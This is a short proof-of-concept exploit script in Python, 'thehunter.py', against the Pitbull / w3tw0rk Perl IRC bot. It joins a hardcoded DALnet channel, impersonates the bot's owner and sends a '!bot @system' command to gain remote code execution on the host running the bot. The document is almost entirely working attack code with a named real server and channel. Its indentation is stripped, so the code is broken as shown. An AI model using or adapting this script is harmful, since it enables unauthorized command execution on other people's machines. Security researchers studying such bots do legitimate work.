Pitbull / w3tw0rk Perl IRC Bot Remote Code Execution

`# thehunter.py  
# Pitbull / w3tw0rk Perl IRC Bot Remote Code Execution  
# author: @shipcod3  
# description: pitbull-w3tw0rk_hunter is POC exploit for Pitbull or w3tw0rk IRC Bot that takes over the owner of a bot which then allows Remote Code Execution.  
  
import socket  
import sys  
  
def usage():  
print("USAGE: python thehunter.py nick \n")   
  
def main(argv):  
  
if len(argv) < 2:  
return usage()  
  
#irc server connection settings  
botnick = sys.argv[1] #admin payload for taking over the w3wt0rk bot  
server = "us.dal.net" #irc server  
channel = "#buhaypirata" #channel where the bot is located  
  
irc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #defines the socket  
print "connecting to:"+server  
irc.connect((server, 6667)) #connects to the server  
irc.send("USER "+ botnick +" "+ botnick +" "+ botnick +" :I eat w3tw0rk bots!\n") #user authentication  
irc.send("NICK "+ botnick +"\n") #sets nick  
irc.send("JOIN "+ channel +"\n") #join the chan  
irc.send("PRIVMSG "+channel+" :!bot @system 'uname -a' \n") #send the payload to the bot  
  
while 1: #puts it in a loop  
text=irc.recv(2040) #receive the text  
print text #print text to console  
  
if text.find('PING') != -1: #check if 'PING' is found  
irc.send('PONG ' + text.split() [1] + '\r\n') #returnes 'PONG' back to the server (prevents pinging out!)  
if text.find('!quit') != -1: #quit the Bot  
irc.send ("QUIT\r\n")   
sys.exit()  
if text.find('Linux') != -1:   
irc.send("PRIVMSG "+channel+" :The bot answers to "+botnick+" which allows command execution \r\n")  
irc.send ("QUIT\r\n")  
sys.exit()  
  
if __name__ == "__main__":  
main(sys.argv)  
`